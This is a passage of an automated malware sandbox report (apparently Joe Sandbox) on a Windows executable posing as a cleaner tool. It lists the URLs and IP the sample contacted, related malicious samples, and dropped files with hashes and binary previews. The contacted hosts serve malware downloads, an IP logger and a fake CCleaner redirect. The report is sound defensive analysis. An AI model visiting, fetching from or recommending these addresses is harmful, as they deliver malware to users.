https://g-cleanit.hk	hvm4oOzDaX.exe, 00000002.00000003.3149178145.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149421157.0000000005833000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149772054.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3147975769.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148096880.0000000005679000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148324949.0000000005851000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149638584.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, Y-Cleaner.exe.2.dr, soft[1].2.dr	false		high
http://185.156.73.23/dll/downloadU	hvm4oOzDaX.exe, 00000002.00000002.3243299383.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/dll/keyvv	hvm4oOzDaX.exe, 00000002.00000002.3246848091.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.18.dr	false		high
http://185.156.73.23/files/download_	hvm4oOzDaX.exe, 00000002.00000002.3243299383.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	hvm4oOzDaX.exe, 00000002.00000003.3149178145.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149421157.0000000005833000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149772054.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3147975769.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148096880.0000000005679000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148324949.0000000005851000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149638584.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, Y-Cleaner.exe.2.dr, soft[1].2.dr	false		high
https://iplogger.org/1Pz8p7	hvm4oOzDaX.exe, 00000002.00000003.3149178145.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149421157.0000000005833000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149772054.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3147975769.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148096880.0000000005679000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148324949.0000000005851000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149638584.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, Y-Cleaner.exe.2.dr, soft[1].2.dr	false		high
http://185.156.73.23/add?substr=mixtwo&s=three&sub=empDkN	hvm4oOzDaX.exe, 00000002.00000002.3246848091.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.156.73.23	unknown	Russian Federation		48817	RELDAS-NETRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578912
Start date and time:	2024-12-20 16:34:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hvm4oOzDaX.exe renamed because original name is a hash value
Original Sample Name:	69a94137bf10488dd980bc600b3735c8.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.16.158.58, 2.16.158.59, 2.16.158.50, 2.16.158.33, 2.16.158.35, 2.16.158.27, 2.16.158.40, 2.16.158.48, 2.16.158.56, 2.16.158.75, 2.16.158.72, 2.16.158.80, 2.16.158.82, 2.16.158.51, 2.16.158.26, 20.189.173.22, 20.190.177.82, 20.199.58.43, 13.107.246.63, 172.202.163.200, 20.74.47.205, 20.103.156.88, 150.171.27.10, 92.122.16.236, 20.231.128.66
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, g.bing.com, arc.msn.com, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, mm-mm.bing.net.trafficmanager.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:35:38	API Interceptor	2017347x Sleep call for process: hvm4oOzDaX.exe modified
10:36:55	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.156.73.23	4kahanaK78.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	7JKssbjRDa.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	dI3n4LSHB7.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	zmTSHkabY6.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ax-0001.ax-msedge.net	SWIFT.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://click.pstmrk.it/3s/veed.io%2Fshare-video-link%3Ftoken%3DeyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzQ2MzE2NDgsImlhdCI6MTczNDYzMDc0OCwic3ViIjoiZmY0NTdiM2MtYjI3MC00YzA0LWEwOTEtYjY3ZDJkOGQ3ZTU1Iiwicm9sZXMiOltdLCJraWQiOiJwcm9qZWN0cy92ZWVkLXByb2Qtc2VydmVyL2xvY2F0aW9ucy9ldXJvcGUtd2VzdDEva2V5UmluZ3MvdmVlZC1wcm9kLWtleXJpbmcvY3J5cHRvS2V5cy92ZWVkLXByb2QtandrLWtleS9jcnlwdG9LZXlWZXJzaW9ucy8xIiwiZmVhdHVyZXMiOnt9LCJzY29wZXMiOltdfQ.f-EtSCYYeQiR4cEb8w5ABF3koXpbxl8QeFIarADkLP6q32DzsnFZl76Y98Uad7M8RBPPuOQOV9SUbCY1hRa4IbqV9_4cTm0v7DuBTCKOZbHN1NiATZOGw2BzdEMqIEfnNo5A_H2_DLVQZLtd6sZzcRoNBzbmcq2_xlzWgmqIErGV0VYXIb-Vac1b-3wmAgIyE-VS7Cd5aHYtVyiV9T5HfrpjPl7-M6dLIaQqm6103z7gO_qoKow1qbFmNgGaUsQED1CHbqo-hCgXzib7NToyu0Qq4kSl-2NEzgLMKy1zFR2J0E0vr9FHirjR9fmmDF2nk76Ht8L2WbV-dRyXZBZaUikfojo56vYWI9cfSQrG_awuFNR0M1s6dpPwumDM8sXlMZYt4u5WZaNcRZynPHXeqNZcdwKhlZrFN0U3B3U7B69avz_FlMxw6Or_0aeJkUP5YZP3wH-IIbwwa6es37u8G7gWYINEfp-pJlKV7klV1CcskLf_53iNx7MtxgvAXLMNZJ2tnuxY8W6w_E-pchjpNP2I5NV2Ui2_bNSgl3kBuX3oWsX0m_wL3MZ39pE3paPp2FAIgQPpZ5a0BhmPYsMk2IPPel2dll8j1IYBwHsZ5a1IHsHA6gTMWkJl-uhAjN4mnXo7Om0NWRZvfFvatgA4YCoTXdntM31GIZxAyWF9a14%26postLoginUrl%3D%252Fview%252F3ab9b7be-178c-4289-b29e-75921856f7f5%252F/oMlP/0SC6AQ/AQ/15f5e010-d260-490a-9e5d-79f5643b5481/1/HSOO9aL291	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	150.171.27.10
	ep_setup.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	ep_setup.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	150.171.28.10
	IzFEtXcext.dll	Get hash	malicious	Unknown	Browse	150.171.27.10
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	150.171.28.10
	1AqzGcCKey.exe	Get hash	malicious	Quasar	Browse	150.171.27.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RELDAS-NETRU	4kahanaK78.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	7JKssbjRDa.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	dI3n4LSHB7.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	zmTSHkabY6.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	beacon.exe	Get hash	malicious	CobaltStrike	Browse	185.156.73.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]	7JKssbjRDa.exe	Get hash	malicious	Unknown	Browse
	dI3n4LSHB7.exe	Get hash	malicious	Unknown	Browse
	zmTSHkabY6.exe	Get hash	malicious	Unknown	Browse
	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_hvm4oOzDaX.exe_d8e7b061ac84cfbf106e8bd418fb82a0ffbdeca6_18f007c0_d9183de5-77f6-46c1-bc7e-16f164311211\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9861099298699446
Encrypted:	false
SSDEEP:	96:0OS6jyCt4s9hNf7YjSYQXIDcQSc6rcE6cw3p+HbHg/8BRTf3Oy1oVazW0H9nFEDQ:Dp/440svA6judvszuiFhZ24IO8+
MD5:	AA00BCC581E59F26B3848EB6B04CBC61
SHA1:	E12FAA7120927AD0FF9BEB147EB7C9A0869716BB
SHA-256:	D61007C4EACA5BC9459C277CF7A3C9C89328D9AFD522CC9FEFD876FEA0E7287B
SHA-512:	26967CC9E7DCD97FF3F5D0C1CD2A290C7DE379A2C1569EB329B64409A569A1F9FAF054A4557340DED9E9EE1C6176F2AFA57537568003145A47F80F93162341C8
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.1.8.2.6.0.9.6.6.6.5.2.0.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.1.8.2.6.1.0.1.3.5.2.5.1.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.9.1.8.3.d.e.5.-.7.7.f.6.-.4.6.c.1.-.b.c.7.e.-.1.6.f.1.6.4.3.1.1.2.1.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.3.7.6.3.8.2.9.-.2.a.2.0.-.4.0.7.e.-.9.1.c.3.-.b.1.e.8.4.9.b.8.b.3.4.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.h.v.m.4.o.O.z.D.a.X...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.4.8.-.0.0.0.1.-.0.0.1.5.-.c.f.c.8.-.f.3.b.e.f.4.5.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.b.3.c.4.e.3.a.8.e.1.4.a.a.5.c.5.4.3.6.a.7.2.8.5.4.d.0.9.7.1.e.0.0.0.0.f.f.f.f.!.0.0.0.0.d.a.3.d.9.0.8.5.4.0.8.6.3.d.0.4.6.6.f.b.2.d.7.a.c.a.b.9.5.0.a.f.a.f.4.7.d.7.5.e.!.h.v.m.4.o.O.z.D.a.X...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD509.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 20 15:36:49 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46322
Entropy (8bit):	2.5509500950663253
Encrypted:	false
SSDEEP:	192:ylcMJgXAm8tXXtOioGJRoE/7H+yAC1XWowasmveN5jtpzKkzQGCvLNVyNdPaOngJ:6m8pgPGfosrAC1XW7TDKqHgAAS2
MD5:	420825349E5D7876C9C803924A4B66E3
SHA1:	F27731BDFDE692759C1C779AA8F90E2C8116E3B3
SHA-256:	4BB075BD0C155E64D5CD75413FC15CFB7D2678724381FEC429C8E7E5E5CD4447
SHA-512:	9A6B0340653152458FA3454EF29C3DE30B2781CF45864489BCB3BFB926903CB9A045F427A0A9C12E94819660C9BB17B2F581BCB7D722BFAEB15EDC347803FA79
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........eg............4...........8...<.......D....,..........T.......8...........T............A...s..........t...........` ..............................................................................eJ....... ......GenuineIntel............T.......H.....eg....P........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD5D5.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8402
Entropy (8bit):	3.693675591375901
Encrypted:	false
SSDEEP:	192:R6l7wVeJCjF6ig6Y2DkSU6gmfy/pDRg89bDGsfVIhm:R6lXJ0F6l6YpSU6gmfyjdDlfB
MD5:	AB10CBAEA6DE5F152ACEE89E85F3C398
SHA1:	2A2F7D909240ADE41C60BCBEB924B21759DC6F41
SHA-256:	0CE1A985D67D334C3C1477FE2B596613FE2DA22631648797D6CC66A8F0158CE8
SHA-512:	95A1A3A934C40C9B121AC3B2D73AA452CF1E9B905A3242AAE873C0B1EA775BE96931884FDCAD46B5C4CC309F95FE63D261BF01C89B01AA10CFC794BA7194E727
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD614.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4680
Entropy (8bit):	4.45246233431455
Encrypted:	false
SSDEEP:	48:cvIwWl8zs/Jg77aI9xGWpW8VYKMPYm8M4Jg3Ff+q8vDJFFzERd:uIjfhI7bH7VbMSJMKFFFzERd
MD5:	B0ECF1BD1D1BF3B1C285B024EF9EFC3A
SHA1:	A6504A56E94227F48009C8A9A02926CB7D2A588B
SHA-256:	4913B801AC4C8BFF48AA73BCABF4B90A0E9699BB38525E55EBB8B19AFC413444
SHA-512:	118331649E4B2D6C2F9FD5057358C32A821DFBD27DF62E8F12C372DE2AFED46EA577BDB3F26054649DD5F75ED0F2A6656D88123B509A9923EC071C8C836D42EC
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="639759" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\add[1].htm

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\download[1].htm

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\key[1].htm

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: 7JKssbjRDa.exe, Detection: malicious, Browse Filename: dI3n4LSHB7.exe, Detection: malicious, Browse Filename: zmTSHkabY6.exe, Detection: malicious, Browse Filename: 8V0INSl0E2.exe, Detection: malicious, Browse Filename: BEd2lJRXFM.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\dll[1]

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\download[1].htm

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
